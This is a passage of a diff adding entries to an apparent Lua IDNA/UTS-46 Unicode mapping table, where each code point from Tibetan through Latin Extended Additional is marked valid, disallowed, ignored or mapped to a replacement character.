+ [0x0F54] = {status="valid"},
+ [0x0F55] = {status="valid"},
+ [0x0F56] = {status="valid"},
+ [0x0F5C] = {0x0F5B, 0x0FB7}, -- TIBETAN LETTER DZHA
+ -- TIBETAN LETTER MA..TIBETAN LETTER DZA
+ [0x0F58] = {status="valid"},
+ [0x0F59] = {status="valid"},
+ [0x0F5A] = {status="valid"},
+ [0x0F5B] = {status="valid"},
+ [0x0F69] = {0x0F40, 0x0FB5}, -- TIBETAN LETTER KSSA
+ [0x0F6A] = {status="valid"}, -- TIBETAN LETTER FIXED-FORM RA
+ -- TIBETAN LETTER KKA..TIBETAN LETTER RRA
+ [0x0F6B] = {status="valid"},
+ [0x0F6C] = {status="valid"},
+ -- NA <reserved-0F6D>..<reserved-0F70>
+ [0x0F6D] = {status="disallowed"},
+ [0x0F6E] = {status="disallowed"},
+ [0x0F6F] = {status="disallowed"},
+ [0x0F70] = {status="disallowed"},
+ [0x0F73] = {0x0F71, 0x0F72}, -- TIBETAN VOWEL SIGN II
+ [0x0F74] = {status="valid"}, -- TIBETAN VOWEL SIGN U
+ [0x0F75] = {0x0F71, 0x0F74}, -- TIBETAN VOWEL SIGN UU
+ [0x0F76] = {0x0FB2, 0x0F80}, -- TIBETAN VOWEL SIGN VOCALIC R
+ [0x0F77] = {0x0FB2, 0x0F71, 0x0F80}, -- TIBETAN VOWEL SIGN VOCALIC RR
+ [0x0F78] = {0x0FB3, 0x0F80}, -- TIBETAN VOWEL SIGN VOCALIC L
+ [0x0F79] = {0x0FB3, 0x0F71, 0x0F80}, -- TIBETAN VOWEL SIGN VOCALIC LL
+ -- TIBETAN VOWEL SIGN AA..TIBETAN VOWEL SIGN I
+ [0x0F71] = {status="valid"},
+ [0x0F72] = {status="valid"},
+ [0x0F81] = {0x0F71, 0x0F80}, -- TIBETAN VOWEL SIGN REVERSED II
+ [0x0F85] = {status="disallowed"}, -- TIBETAN MARK PALUTA
+ -- TIBETAN SIGN NYI ZLA NAA DA..TIBETAN MARK HALANTA
+ [0x0F82] = {status="valid"},
+ [0x0F83] = {status="valid"},
+ [0x0F84] = {status="valid"},
+ [0x0F93] = {0x0F92, 0x0FB7}, -- TIBETAN SUBJOINED LETTER GHA
+ [0x0F96] = {status="valid"}, -- TIBETAN SUBJOINED LETTER CHA
+ [0x0F97] = {status="valid"}, -- TIBETAN SUBJOINED LETTER JA
+ [0x0F98] = {status="disallowed"}, -- NA <reserved-0F98>
+ -- TIBETAN SUBJOINED LETTER NGA..TIBETAN SUBJOINED LETTER CA
+ [0x0F94] = {status="valid"},
+ [0x0F95] = {status="valid"},
+ [0x0F9D] = {0x0F9C, 0x0FB7}, -- TIBETAN SUBJOINED LETTER DDHA
+ -- TIBETAN SUBJOINED LETTER NYA..TIBETAN SUBJOINED LETTER DDA
+ [0x0F99] = {status="valid"},
+ [0x0F9A] = {status="valid"},
+ [0x0F9B] = {status="valid"},
+ [0x0F9C] = {status="valid"},
+ [0x0FA2] = {0x0FA1, 0x0FB7}, -- TIBETAN SUBJOINED LETTER DHA
+ -- TIBETAN SUBJOINED LETTER NNA..TIBETAN SUBJOINED LETTER DA
+ [0x0F9E] = {status="valid"},
+ [0x0F9F] = {status="valid"},
+ [0x0FA0] = {status="valid"},
+ [0x0FA1] = {status="valid"},
+ [0x0FA7] = {0x0FA6, 0x0FB7}, -- TIBETAN SUBJOINED LETTER BHA
+ -- TIBETAN SUBJOINED LETTER NA..TIBETAN SUBJOINED LETTER BA
+ [0x0FA3] = {status="valid"},
+ [0x0FA4] = {status="valid"},
+ [0x0FA5] = {status="valid"},
+ [0x0FA6] = {status="valid"},
+ [0x0FAC] = {0x0FAB, 0x0FB7}, -- TIBETAN SUBJOINED LETTER DZHA
+ [0x0FAD] = {status="valid"}, -- TIBETAN SUBJOINED LETTER WA
+ -- TIBETAN SUBJOINED LETTER MA..TIBETAN SUBJOINED LETTER DZA
+ [0x0FA8] = {status="valid"},
+ [0x0FA9] = {status="valid"},
+ [0x0FAA] = {status="valid"},
+ [0x0FAB] = {status="valid"},
+ [0x0FB8] = {status="valid"}, -- TIBETAN SUBJOINED LETTER A
+ [0x0FB9] = {0x0F90, 0x0FB5}, -- TIBETAN SUBJOINED LETTER KSSA
+ [0x0FBD] = {status="disallowed"}, -- NA <reserved-0FBD>
+ -- TIBETAN SUBJOINED LETTER FIXED-FORM WA..TIBETAN SUBJOINED LETTER FIXED-FORM RA
+ [0x0FBA] = {status="valid"},
+ [0x0FBB] = {status="valid"},
+ [0x0FBC] = {status="valid"},
+ [0x0FC6] = {status="valid"}, -- TIBETAN SYMBOL PADMA GDAN
+ [0x0FCD] = {status="disallowed"}, -- NA <reserved-0FCD>
+ [0x0FCE] = {status="disallowed"}, -- TIBETAN SIGN RDEL NAG RDEL DKAR
+ [0x0FCF] = {status="disallowed"}, -- TIBETAN SIGN RDEL NAG GSUM
+ [0x1022] = {status="valid"}, -- MYANMAR LETTER SHAN A
+ [0x1028] = {status="valid"}, -- MYANMAR LETTER MON E
+ -- MYANMAR LETTER I..MYANMAR LETTER E
+ [0x1023] = {status="valid"},
+ [0x1024] = {status="valid"},
+ [0x1025] = {status="valid"},
+ [0x1026] = {status="valid"},
+ [0x1027] = {status="valid"},
+ [0x102B] = {status="valid"}, -- MYANMAR VOWEL SIGN TALL AA
+ -- MYANMAR LETTER O..MYANMAR LETTER AU
+ [0x1029] = {status="valid"},
+ [0x102A] = {status="valid"},
+ -- MYANMAR SYMBOL SHAN ONE..MYANMAR SYMBOL SHAN EXCLAMATION
+ [0x109E] = {status="disallowed"},
+ [0x109F] = {status="disallowed"},
+ [0x10C6] = {status="disallowed"}, -- NA <reserved-10C6>
+ [0x10C7] = 0x2D27, -- GEORGIAN CAPITAL LETTER YN
+ [0x10CD] = 0x2D2D, -- GEORGIAN CAPITAL LETTER AEN
+ -- NA <reserved-10C8>..<reserved-10CC>
+ [0x10C8] = {status="disallowed"},
+ [0x10C9] = {status="disallowed"},
+ [0x10CA] = {status="disallowed"},
+ [0x10CB] = {status="disallowed"},
+ [0x10CC] = {status="disallowed"},
+ -- NA <reserved-10CE>..<reserved-10CF>
+ [0x10CE] = {status="disallowed"},
+ [0x10CF] = {status="disallowed"},
+ [0x10FB] = {status="disallowed"}, -- GEORGIAN PARAGRAPH SEPARATOR
+ [0x10FC] = 0x10DC, -- MODIFIER LETTER GEORGIAN NAR
+ -- GEORGIAN LETTER AEN..GEORGIAN LETTER LABIAL SIGN
+ [0x10FD] = {status="valid"},
+ [0x10FE] = {status="valid"},
+ [0x10FF] = {status="valid"},
+ -- HANGUL CHOSEONG FILLER..HANGUL JUNGSEONG FILLER
+ [0x115F] = {status="disallowed"},
+ [0x1160] = {status="disallowed"},
+ [0x1207] = {status="valid"}, -- ETHIOPIC SYLLABLE HOA
+ [0x1247] = {status="valid"}, -- ETHIOPIC SYLLABLE QOA
+ [0x1248] = {status="valid"}, -- ETHIOPIC SYLLABLE QWA
+ [0x1249] = {status="disallowed"}, -- NA <reserved-1249>
+ -- ETHIOPIC SYLLABLE QWI..ETHIOPIC SYLLABLE QWE
+ [0x124A] = {status="valid"},
+ [0x124B] = {status="valid"},
+ [0x124C] = {status="valid"},
+ [0x124D] = {status="valid"},
+ -- NA <reserved-124E>..<reserved-124F>
+ [0x124E] = {status="disallowed"},
+ [0x124F] = {status="disallowed"},
+ [0x1257] = {status="disallowed"}, -- NA <reserved-1257>
+ [0x1258] = {status="valid"}, -- ETHIOPIC SYLLABLE QHWA
+ [0x1259] = {status="disallowed"}, -- NA <reserved-1259>
+ -- ETHIOPIC SYLLABLE QHWI..ETHIOPIC SYLLABLE QHWE
+ [0x125A] = {status="valid"},
+ [0x125B] = {status="valid"},
+ [0x125C] = {status="valid"},
+ [0x125D] = {status="valid"},
+ -- NA <reserved-125E>..<reserved-125F>
+ [0x125E] = {status="disallowed"},
+ [0x125F] = {status="disallowed"},
+ [0x1287] = {status="valid"}, -- ETHIOPIC SYLLABLE XOA
+ [0x1288] = {status="valid"}, -- ETHIOPIC SYLLABLE XWA
+ [0x1289] = {status="disallowed"}, -- NA <reserved-1289>
+ -- ETHIOPIC SYLLABLE XWI..ETHIOPIC SYLLABLE XWE
+ [0x128A] = {status="valid"},
+ [0x128B] = {status="valid"},
+ [0x128C] = {status="valid"},
+ [0x128D] = {status="valid"},
+ -- NA <reserved-128E>..<reserved-128F>
+ [0x128E] = {status="disallowed"},
+ [0x128F] = {status="disallowed"},
+ [0x12AF] = {status="valid"}, -- ETHIOPIC SYLLABLE KOA
+ [0x12B0] = {status="valid"}, -- ETHIOPIC SYLLABLE KWA
+ [0x12B1] = {status="disallowed"}, -- NA <reserved-12B1>
+ -- ETHIOPIC SYLLABLE KWI..ETHIOPIC SYLLABLE KWE
+ [0x12B2] = {status="valid"},
+ [0x12B3] = {status="valid"},
+ [0x12B4] = {status="valid"},
+ [0x12B5] = {status="valid"},
+ -- NA <reserved-12B6>..<reserved-12B7>
+ [0x12B6] = {status="disallowed"},
+ [0x12B7] = {status="disallowed"},
+ [0x12BF] = {status="disallowed"}, -- NA <reserved-12BF>
+ [0x12C0] = {status="valid"}, -- ETHIOPIC SYLLABLE KXWA
+ [0x12C1] = {status="disallowed"}, -- NA <reserved-12C1>
+ -- ETHIOPIC SYLLABLE KXWI..ETHIOPIC SYLLABLE KXWE
+ [0x12C2] = {status="valid"},
+ [0x12C3] = {status="valid"},
+ [0x12C4] = {status="valid"},
+ [0x12C5] = {status="valid"},
+ -- NA <reserved-12C6>..<reserved-12C7>
+ [0x12C6] = {status="disallowed"},
+ [0x12C7] = {status="disallowed"},
+ [0x12CF] = {status="valid"}, -- ETHIOPIC SYLLABLE WOA
+ [0x12D7] = {status="disallowed"}, -- NA <reserved-12D7>
+ [0x12EF] = {status="valid"}, -- ETHIOPIC SYLLABLE YOA
+ [0x130F] = {status="valid"}, -- ETHIOPIC SYLLABLE GOA
+ [0x1310] = {status="valid"}, -- ETHIOPIC SYLLABLE GWA
+ [0x1311] = {status="disallowed"}, -- NA <reserved-1311>
+ -- ETHIOPIC SYLLABLE GWI..ETHIOPIC SYLLABLE GWE
+ [0x1312] = {status="valid"},
+ [0x1313] = {status="valid"},
+ [0x1314] = {status="valid"},
+ [0x1315] = {status="valid"},
+ -- NA <reserved-1316>..<reserved-1317>
+ [0x1316] = {status="disallowed"},
+ [0x1317] = {status="disallowed"},
+ [0x131F] = {status="valid"}, -- ETHIOPIC SYLLABLE GGWAA
+ [0x1347] = {status="valid"}, -- ETHIOPIC SYLLABLE TZOA
+ -- NA <reserved-135B>..<reserved-135C>
+ [0x135B] = {status="disallowed"},
+ [0x135C] = {status="disallowed"},
+ [0x135F] = {status="valid"}, -- ETHIOPIC COMBINING GEMINATION MARK
+ [0x1360] = {status="disallowed"}, -- ETHIOPIC SECTION MARK
+ -- ETHIOPIC COMBINING GEMINATION AND VOWEL LENGTH MARK..ETHIOPIC COMBINING VOWEL LENGTH MARK
+ [0x135D] = {status="valid"},
+ [0x135E] = {status="valid"},
+ -- NA <reserved-137D>..<reserved-137F>
+ [0x137D] = {status="disallowed"},
+ [0x137E] = {status="disallowed"},
+ [0x137F] = {status="disallowed"},
+ [0x13F5] = {status="valid"}, -- CHEROKEE LETTER MV
+ [0x13F8] = 0x13F0, -- CHEROKEE SMALL LETTER YE
+ [0x13F9] = 0x13F1, -- CHEROKEE SMALL LETTER YI
+ [0x13FA] = 0x13F2, -- CHEROKEE SMALL LETTER YO
+ [0x13FB] = 0x13F3, -- CHEROKEE SMALL LETTER YU
+ [0x13FC] = 0x13F4, -- CHEROKEE SMALL LETTER YV
+ [0x13FD] = 0x13F5, -- CHEROKEE SMALL LETTER MV
+ -- NA <reserved-13F6>..<reserved-13F7>
+ [0x13F6] = {status="disallowed"},
+ [0x13F7] = {status="disallowed"},
+ [0x1400] = {status="disallowed"}, -- CANADIAN SYLLABICS HYPHEN
+ -- NA <reserved-13FE>..<reserved-13FF>
+ [0x13FE] = {status="disallowed"},
+ [0x13FF] = {status="disallowed"},
+ -- CANADIAN SYLLABICS CHI SIGN..CANADIAN SYLLABICS FULL STOP
+ [0x166D] = {status="disallowed"},
+ [0x166E] = {status="disallowed"},
+ [0x1680] = {status="disallowed"}, -- OGHAM SPACE MARK
+ -- OGHAM FEATHER MARK..OGHAM REVERSED FEATHER MARK
+ [0x169B] = {status="disallowed"},
+ [0x169C] = {status="disallowed"},
+ -- NA <reserved-169D>..<reserved-169F>
+ [0x169D] = {status="disallowed"},
+ [0x169E] = {status="disallowed"},
+ [0x169F] = {status="disallowed"},
+ [0x170D] = {status="disallowed"}, -- NA <reserved-170D>
+ -- PHILIPPINE SINGLE PUNCTUATION..PHILIPPINE DOUBLE PUNCTUATION
+ [0x1735] = {status="disallowed"},
+ [0x1736] = {status="disallowed"},
+ [0x176D] = {status="disallowed"}, -- NA <reserved-176D>
+ [0x1771] = {status="disallowed"}, -- NA <reserved-1771>
+ -- TAGBANWA LETTER LA..TAGBANWA LETTER SA
+ [0x176E] = {status="valid"},
+ [0x176F] = {status="valid"},
+ [0x1770] = {status="valid"},
+ -- TAGBANWA VOWEL SIGN I..TAGBANWA VOWEL SIGN U
+ [0x1772] = {status="valid"},
+ [0x1773] = {status="valid"},
+ -- KHMER VOWEL INHERENT AQ..KHMER VOWEL INHERENT AA
+ [0x17B4] = {status="disallowed"},
+ [0x17B5] = {status="disallowed"},
+ [0x17D7] = {status="valid"}, -- KHMER SIGN LEK TOO
+ -- KHMER SIGN KHAN..KHMER SIGN CAMNUC PII KUUH
+ [0x17D4] = {status="disallowed"},
+ [0x17D5] = {status="disallowed"},
+ [0x17D6] = {status="disallowed"},
+ [0x17DC] = {status="valid"}, -- KHMER SIGN AVAKRAHASANYA
+ [0x17DD] = {status="valid"}, -- KHMER SIGN ATTHACAN
+ -- KHMER SIGN BEYYAL..KHMER CURRENCY SYMBOL RIEL
+ [0x17D8] = {status="disallowed"},
+ [0x17D9] = {status="disallowed"},
+ [0x17DA] = {status="disallowed"},
+ [0x17DB] = {status="disallowed"},
+ -- NA <reserved-17DE>..<reserved-17DF>
+ [0x17DE] = {status="disallowed"},
+ [0x17DF] = {status="disallowed"},
+ [0x1806] = {status="disallowed"}, -- MONGOLIAN TODO SOFT HYPHEN
+ -- MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER..MONGOLIAN NIRUGU
+ [0x1807] = {status="disallowed"},
+ [0x1808] = {status="disallowed"},
+ [0x1809] = {status="disallowed"},
+ [0x180A] = {status="disallowed"},
+ [0x180E] = {status="disallowed"}, -- MONGOLIAN VOWEL SEPARATOR
+ [0x180F] = {status="disallowed"}, -- NA <reserved-180F>
+ -- MONGOLIAN FREE VARIATION SELECTOR ONE..MONGOLIAN FREE VARIATION SELECTOR THREE
+ [0x180B] = {status='ignored'},
+ [0x180C] = {status='ignored'},
+ [0x180D] = {status='ignored'},
+ [0x18AA] = {status="valid"}, -- MONGOLIAN LETTER MANCHU ALI GALI LHA
+ -- NA <reserved-18AB>..<reserved-18AF>
+ [0x18AB] = {status="disallowed"},
+ [0x18AC] = {status="disallowed"},
+ [0x18AD] = {status="disallowed"},
+ [0x18AE] = {status="disallowed"},
+ [0x18AF] = {status="disallowed"},
+ [0x191F] = {status="disallowed"}, -- NA <reserved-191F>
+ -- NA <reserved-192C>..<reserved-192F>
+ [0x192C] = {status="disallowed"},
+ [0x192D] = {status="disallowed"},
+ [0x192E] = {status="disallowed"},
+ [0x192F] = {status="disallowed"},
+ [0x1940] = {status="disallowed"}, -- LIMBU SIGN LOO
+ -- NA <reserved-193C>..<reserved-193F>
+ [0x193C] = {status="disallowed"},
+ [0x193D] = {status="disallowed"},
+ [0x193E] = {status="disallowed"},
+ [0x193F] = {status="disallowed"},
+ -- NA <reserved-1941>..<reserved-1943>
+ [0x1941] = {status="disallowed"},
+ [0x1942] = {status="disallowed"},
+ [0x1943] = {status="disallowed"},
+ -- LIMBU EXCLAMATION MARK..LIMBU QUESTION MARK
+ [0x1944] = {status="disallowed"},
+ [0x1945] = {status="disallowed"},
+ -- NA <reserved-196E>..<reserved-196F>
+ [0x196E] = {status="disallowed"},
+ [0x196F] = {status="disallowed"},
+ -- TAI LE LETTER TONE-2..TAI LE LETTER TONE-6
+ [0x1970] = {status="valid"},
+ [0x1971] = {status="valid"},
+ [0x1972] = {status="valid"},
+ [0x1973] = {status="valid"},
+ [0x1974] = {status="valid"},
+ -- NA <reserved-19AC>..<reserved-19AF>
+ [0x19AC] = {status="disallowed"},
+ [0x19AD] = {status="disallowed"},
+ [0x19AE] = {status="disallowed"},
+ [0x19AF] = {status="disallowed"},
+ [0x19DA] = {status="disallowed"}, -- NEW TAI LUE THAM DIGIT ONE
+ -- NA <reserved-19DB>..<reserved-19DD>
+ [0x19DB] = {status="disallowed"},
+ [0x19DC] = {status="disallowed"},
+ [0x19DD] = {status="disallowed"},
+ -- NA <reserved-1A1C>..<reserved-1A1D>
+ [0x1A1C] = {status="disallowed"},
+ [0x1A1D] = {status="disallowed"},
+ -- BUGINESE PALLAWA..BUGINESE END OF SECTION
+ [0x1A1E] = {status="disallowed"},
+ [0x1A1F] = {status="disallowed"},
+ [0x1A5F] = {status="disallowed"}, -- NA <reserved-1A5F>
+ -- NA <reserved-1A7D>..<reserved-1A7E>
+ [0x1A7D] = {status="disallowed"},
+ [0x1A7E] = {status="disallowed"},
+ [0x1AA7] = {status="valid"}, -- TAI THAM SIGN MAI YAMOK
+ -- NA <reserved-1AAE>..<reserved-1AAF>
+ [0x1AAE] = {status="disallowed"},
+ [0x1AAF] = {status="disallowed"},
+ [0x1ABE] = {status="disallowed"}, -- COMBINING PARENTHESES OVERLAY
+ -- NA <reserved-1B4C>..<reserved-1B4F>
+ [0x1B4C] = {status="disallowed"},
+ [0x1B4D] = {status="disallowed"},
+ [0x1B4E] = {status="disallowed"},
+ [0x1B4F] = {status="disallowed"},
+ -- NA <reserved-1B7D>..<reserved-1B7F>
+ [0x1B7D] = {status="disallowed"},
+ [0x1B7E] = {status="disallowed"},
+ [0x1B7F] = {status="disallowed"},
+ -- BATAK SYMBOL BINDU NA METEK..BATAK SYMBOL BINDU PANGOLAT
+ [0x1BFC] = {status="disallowed"},
+ [0x1BFD] = {status="disallowed"},
+ [0x1BFE] = {status="disallowed"},
+ [0x1BFF] = {status="disallowed"},
+ -- NA <reserved-1C38>..<reserved-1C3A>
+ [0x1C38] = {status="disallowed"},
+ [0x1C39] = {status="disallowed"},
+ [0x1C3A] = {status="disallowed"},
+ -- LEPCHA PUNCTUATION TA-ROL..LEPCHA PUNCTUATION TSHOOK
+ [0x1C3B] = {status="disallowed"},
+ [0x1C3C] = {status="disallowed"},
+ [0x1C3D] = {status="disallowed"},
+ [0x1C3E] = {status="disallowed"},
+ [0x1C3F] = {status="disallowed"},
+ -- NA <reserved-1C4A>..<reserved-1C4C>
+ [0x1C4A] = {status="disallowed"},
+ [0x1C4B] = {status="disallowed"},
+ [0x1C4C] = {status="disallowed"},
+ [0x1C80] = 0x0432, -- CYRILLIC SMALL LETTER ROUNDED VE
+ [0x1C81] = 0x0434, -- CYRILLIC SMALL LETTER LONG-LEGGED DE
+ [0x1C82] = 0x043E, -- CYRILLIC SMALL LETTER NARROW O
+ [0x1C83] = 0x0441, -- CYRILLIC SMALL LETTER WIDE ES
+ -- OL CHIKI PUNCTUATION MUCAAD..OL CHIKI PUNCTUATION DOUBLE MUCAAD
+ [0x1C7E] = {status="disallowed"},
+ [0x1C7F] = {status="disallowed"},
+ [0x1C86] = 0x044A, -- CYRILLIC SMALL LETTER TALL HARD SIGN
+ [0x1C87] = 0x0463, -- CYRILLIC SMALL LETTER TALL YAT
+ [0x1C88] = 0xA64B, -- CYRILLIC SMALL LETTER UNBLENDED UK
+ -- CYRILLIC SMALL LETTER TALL TE..CYRILLIC SMALL LETTER THREE-LEGGED TE
+ [0x1C84] = 0x0442,
+ [0x1C85] = 0x0442,
+ [0x1CD3] = {status="disallowed"}, -- VEDIC SIGN NIHSHVASA
+ -- VEDIC TONE KARSHANA..VEDIC TONE PRENKHA
+ [0x1CD0] = {status="valid"},
+ [0x1CD1] = {status="valid"},
+ [0x1CD2] = {status="valid"},
+ [0x1CF7] = {status="valid"}, -- VEDIC SIGN ATIKRAMA
+ -- VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
+ [0x1CF8] = {status="valid"},
+ [0x1CF9] = {status="valid"},
+ [0x1D2C] = 0x0061, -- MODIFIER LETTER CAPITAL A
+ [0x1D2D] = 0x00E6, -- MODIFIER LETTER CAPITAL AE
+ [0x1D2E] = 0x0062, -- MODIFIER LETTER CAPITAL B
+ [0x1D2F] = {status="valid"}, -- MODIFIER LETTER CAPITAL BARRED B
+ [0x1D30] = 0x0064, -- MODIFIER LETTER CAPITAL D
+ [0x1D31] = 0x0065, -- MODIFIER LETTER CAPITAL E
+ [0x1D32] = 0x01DD, -- MODIFIER LETTER CAPITAL REVERSED E
+ [0x1D33] = 0x0067, -- MODIFIER LETTER CAPITAL G
+ [0x1D34] = 0x0068, -- MODIFIER LETTER CAPITAL H
+ [0x1D35] = 0x0069, -- MODIFIER LETTER CAPITAL I
+ [0x1D36] = 0x006A, -- MODIFIER LETTER CAPITAL J
+ [0x1D37] = 0x006B, -- MODIFIER LETTER CAPITAL K
+ [0x1D38] = 0x006C, -- MODIFIER LETTER CAPITAL L
+ [0x1D39] = 0x006D, -- MODIFIER LETTER CAPITAL M
+ [0x1D3A] = 0x006E, -- MODIFIER LETTER CAPITAL N
+ [0x1D3B] = {status="valid"}, -- MODIFIER LETTER CAPITAL REVERSED N
+ [0x1D3C] = 0x006F, -- MODIFIER LETTER CAPITAL O
+ [0x1D3D] = 0x0223, -- MODIFIER LETTER CAPITAL OU
+ [0x1D3E] = 0x0070, -- MODIFIER LETTER CAPITAL P
+ [0x1D3F] = 0x0072, -- MODIFIER LETTER CAPITAL R
+ [0x1D40] = 0x0074, -- MODIFIER LETTER CAPITAL T
+ [0x1D41] = 0x0075, -- MODIFIER LETTER CAPITAL U
+ [0x1D42] = 0x0077, -- MODIFIER LETTER CAPITAL W
+ [0x1D43] = 0x0061, -- MODIFIER LETTER SMALL A
+ [0x1D44] = 0x0250, -- MODIFIER LETTER SMALL TURNED A
+ [0x1D45] = 0x0251, -- MODIFIER LETTER SMALL ALPHA
+ [0x1D46] = 0x1D02, -- MODIFIER LETTER SMALL TURNED AE
+ [0x1D47] = 0x0062, -- MODIFIER LETTER SMALL B
+ [0x1D48] = 0x0064, -- MODIFIER LETTER SMALL D
+ [0x1D49] = 0x0065, -- MODIFIER LETTER SMALL E
+ [0x1D4A] = 0x0259, -- MODIFIER LETTER SMALL SCHWA
+ [0x1D4B] = 0x025B, -- MODIFIER LETTER SMALL OPEN E
+ [0x1D4C] = 0x025C, -- MODIFIER LETTER SMALL TURNED OPEN E
+ [0x1D4D] = 0x0067, -- MODIFIER LETTER SMALL G
+ [0x1D4E] = {status="valid"}, -- MODIFIER LETTER SMALL TURNED I
+ [0x1D4F] = 0x006B, -- MODIFIER LETTER SMALL K
+ [0x1D50] = 0x006D, -- MODIFIER LETTER SMALL M
+ [0x1D51] = 0x014B, -- MODIFIER LETTER SMALL ENG
+ [0x1D52] = 0x006F, -- MODIFIER LETTER SMALL O
+ [0x1D53] = 0x0254, -- MODIFIER LETTER SMALL OPEN O
+ [0x1D54] = 0x1D16, -- MODIFIER LETTER SMALL TOP HALF O
+ [0x1D55] = 0x1D17, -- MODIFIER LETTER SMALL BOTTOM HALF O
+ [0x1D56] = 0x0070, -- MODIFIER LETTER SMALL P
+ [0x1D57] = 0x0074, -- MODIFIER LETTER SMALL T
+ [0x1D58] = 0x0075, -- MODIFIER LETTER SMALL U
+ [0x1D59] = 0x1D1D, -- MODIFIER LETTER SMALL SIDEWAYS U
+ [0x1D5A] = 0x026F, -- MODIFIER LETTER SMALL TURNED M
+ [0x1D5B] = 0x0076, -- MODIFIER LETTER SMALL V
+ [0x1D5C] = 0x1D25, -- MODIFIER LETTER SMALL AIN
+ [0x1D5D] = 0x03B2, -- MODIFIER LETTER SMALL BETA
+ [0x1D5E] = 0x03B3, -- MODIFIER LETTER SMALL GREEK GAMMA
+ [0x1D5F] = 0x03B4, -- MODIFIER LETTER SMALL DELTA
+ [0x1D60] = 0x03C6, -- MODIFIER LETTER SMALL GREEK PHI
+ [0x1D61] = 0x03C7, -- MODIFIER LETTER SMALL CHI
+ [0x1D62] = 0x0069, -- LATIN SUBSCRIPT SMALL LETTER I
+ [0x1D63] = 0x0072, -- LATIN SUBSCRIPT SMALL LETTER R
+ [0x1D64] = 0x0075, -- LATIN SUBSCRIPT SMALL LETTER U
+ [0x1D65] = 0x0076, -- LATIN SUBSCRIPT SMALL LETTER V
+ [0x1D66] = 0x03B2, -- GREEK SUBSCRIPT SMALL LETTER BETA
+ [0x1D67] = 0x03B3, -- GREEK SUBSCRIPT SMALL LETTER GAMMA
+ [0x1D68] = 0x03C1, -- GREEK SUBSCRIPT SMALL LETTER RHO
+ [0x1D69] = 0x03C6, -- GREEK SUBSCRIPT SMALL LETTER PHI
+ [0x1D6A] = 0x03C7, -- GREEK SUBSCRIPT SMALL LETTER CHI
+ [0x1D6B] = {status="valid"}, -- LATIN SMALL LETTER UE
+ [0x1D78] = 0x043D, -- MODIFIER LETTER CYRILLIC EN
+ [0x1D9B] = 0x0252, -- MODIFIER LETTER SMALL TURNED ALPHA
+ [0x1D9C] = 0x0063, -- MODIFIER LETTER SMALL C
+ [0x1D9D] = 0x0255, -- MODIFIER LETTER SMALL C WITH CURL
+ [0x1D9E] = 0x00F0, -- MODIFIER LETTER SMALL ETH
+ [0x1D9F] = 0x025C, -- MODIFIER LETTER SMALL REVERSED OPEN E
+ [0x1DA0] = 0x0066, -- MODIFIER LETTER SMALL F
+ [0x1DA1] = 0x025F, -- MODIFIER LETTER SMALL DOTLESS J WITH STROKE
+ [0x1DA2] = 0x0261, -- MODIFIER LETTER SMALL SCRIPT G
+ [0x1DA3] = 0x0265, -- MODIFIER LETTER SMALL TURNED H
+ [0x1DA4] = 0x0268, -- MODIFIER LETTER SMALL I WITH STROKE
+ [0x1DA5] = 0x0269, -- MODIFIER LETTER SMALL IOTA
+ [0x1DA6] = 0x026A, -- MODIFIER LETTER SMALL CAPITAL I
+ [0x1DA7] = 0x1D7B, -- MODIFIER LETTER SMALL CAPITAL I WITH STROKE
+ [0x1DA8] = 0x029D, -- MODIFIER LETTER SMALL J WITH CROSSED-TAIL
+ [0x1DA9] = 0x026D, -- MODIFIER LETTER SMALL L WITH RETROFLEX HOOK
+ [0x1DAA] = 0x1D85, -- MODIFIER LETTER SMALL L WITH PALATAL HOOK
+ [0x1DAB] = 0x029F, -- MODIFIER LETTER SMALL CAPITAL L
+ [0x1DAC] = 0x0271, -- MODIFIER LETTER SMALL M WITH HOOK
+ [0x1DAD] = 0x0270, -- MODIFIER LETTER SMALL TURNED M WITH LONG LEG
+ [0x1DAE] = 0x0272, -- MODIFIER LETTER SMALL N WITH LEFT HOOK
+ [0x1DAF] = 0x0273, -- MODIFIER LETTER SMALL N WITH RETROFLEX HOOK
+ [0x1DB0] = 0x0274, -- MODIFIER LETTER SMALL CAPITAL N
+ [0x1DB1] = 0x0275, -- MODIFIER LETTER SMALL BARRED O
+ [0x1DB2] = 0x0278, -- MODIFIER LETTER SMALL PHI
+ [0x1DB3] = 0x0282, -- MODIFIER LETTER SMALL S WITH HOOK
+ [0x1DB4] = 0x0283, -- MODIFIER LETTER SMALL ESH
+ [0x1DB5] = 0x01AB, -- MODIFIER LETTER SMALL T WITH PALATAL HOOK
+ [0x1DB6] = 0x0289, -- MODIFIER LETTER SMALL U BAR
+ [0x1DB7] = 0x028A, -- MODIFIER LETTER SMALL UPSILON
+ [0x1DB8] = 0x1D1C, -- MODIFIER LETTER SMALL CAPITAL U
+ [0x1DB9] = 0x028B, -- MODIFIER LETTER SMALL V WITH HOOK
+ [0x1DBA] = 0x028C, -- MODIFIER LETTER SMALL TURNED V
+ [0x1DBB] = 0x007A, -- MODIFIER LETTER SMALL Z
+ [0x1DBC] = 0x0290, -- MODIFIER LETTER SMALL Z WITH RETROFLEX HOOK
+ [0x1DBD] = 0x0291, -- MODIFIER LETTER SMALL Z WITH CURL
+ [0x1DBE] = 0x0292, -- MODIFIER LETTER SMALL EZH
+ [0x1DBF] = 0x03B8, -- MODIFIER LETTER SMALL THETA
+ [0x1DFA] = {status="disallowed"}, -- NA <reserved-1DFA>
+ [0x1DFB] = {status="valid"}, -- COMBINING DELETION MARK
+ [0x1DFC] = {status="valid"}, -- COMBINING DOUBLE INVERTED BREVE BELOW
+ [0x1DFD] = {status="valid"}, -- COMBINING ALMOST EQUAL TO BELOW
+ [0x1E00] = 0x1E01, -- LATIN CAPITAL LETTER A WITH RING BELOW
+ [0x1E01] = {status="valid"}, -- LATIN SMALL LETTER A WITH RING BELOW
+ [0x1E02] = 0x1E03, -- LATIN CAPITAL LETTER B WITH DOT ABOVE
+ [0x1E03] = {status="valid"}, -- LATIN SMALL LETTER B WITH DOT ABOVE
+ [0x1E04] = 0x1E05, -- LATIN CAPITAL LETTER B WITH DOT BELOW
+ [0x1E05] = {status="valid"}, -- LATIN SMALL LETTER B WITH DOT BELOW
+ [0x1E06] = 0x1E07, -- LATIN CAPITAL LETTER B WITH LINE BELOW
+ [0x1E07] = {status="valid"}, -- LATIN SMALL LETTER B WITH LINE BELOW
+ [0x1E08] = 0x1E09, -- LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE
+ [0x1E09] = {status="valid"}, -- LATIN SMALL LETTER C WITH CEDILLA AND ACUTE
